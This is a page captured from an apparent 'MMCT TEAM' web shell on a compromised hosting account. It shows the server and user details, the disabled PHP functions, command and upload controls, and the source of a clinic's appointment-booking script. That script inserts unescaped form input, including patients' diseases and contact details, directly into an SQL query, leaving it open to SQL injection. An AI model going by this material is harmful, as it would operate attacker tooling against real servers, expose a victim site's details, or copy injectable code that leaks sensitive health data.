MMCT TEAM
Server IP : 153.92.220.142  /  Your IP : 18.119.122.164
Web Server : LiteSpeed
System : Linux nl-srv-web516.main-hosting.eu 4.18.0-513.9.1.lve.el7h.x86_64 #1 SMP Mon Dec 4 13:57:13 UTC 2023 x86_64
User : u444427800 ( 444427800)
PHP Version : 8.1.27
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u444427800/domains/aaryashdermajoint.com/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u444427800/domains/aaryashdermajoint.com/public_html/admin/InsertReq2.php
<?php include "connect.php";
// use PHPMailer\PHPMailer\Exception;
// use PHPMailer\PHPMailer\PHPMailer;
// use PHPMailer\PHPMailer\SMTP;

// require "../vendor/autoload.php";

// $mail = new PHPMailer(true);
// $org_name = "Ozwide Pressure & Soft Wash Pvt. Ltd.";

if (isset($_POST["contact_submit2"])) {

    $person_name = $_POST['person_name'];
    $email = $_POST['email'];
    $mobile = $_POST['mobile'];
    $doctor_name = $_POST['doctor_name'];
    $disease = $_POST['disease'];
    $time_slot = $_POST['time_slot'];
    $date = $_POST['date'];
    $doctor_consultation = $_POST['doctor_consultation'];
    // $redirect_url = $_POST['redirect_url'];

    $result = $conn->query("INSERT INTO `bookappointment_query`(`person_name`,  `email`, `mobile`, `doctor_name`, `disease`,`time_slot`, `date`, `doctor_consultation`) VALUES (
        '$person_name',
        '$email',
        '$mobile',
        '$doctor_name',
        '$disease',
        '$time_slot',
        '$date',
        '$doctor_consultation'

    )");
    
    $array_message = array();
    if ($result) {
//     
        $array_message["head"] = "Your request has been successfully submitted.";
        $array_message["para"] = "Our team will be contact you soon.";
        $array_message["status"] = "success";
        if(isset($_POST['page']))$_SESSION["message_popup"] = $array_message;else $_SESSION["message"] = $array_message;

    } else {
        $array_message["head"] = "Some Issue";
        $array_message["para"] = "Please Contact Admin on +91 8299267113";
        $array_message["status"] = "error";
        if(isset($_POST['page']))$_SESSION["message_popup"] = $array_message;else $_SESSION["message"] = $array_message;
    }
    header("location:../");
    ?>
    <!-- <script>
        alert("Your request has been successfully submitted.");
        window.history.back();
        
    </script> -->
<?php
  header ("location: ../thank-you.php");
}else{
  
}

?>




MMCT - 2023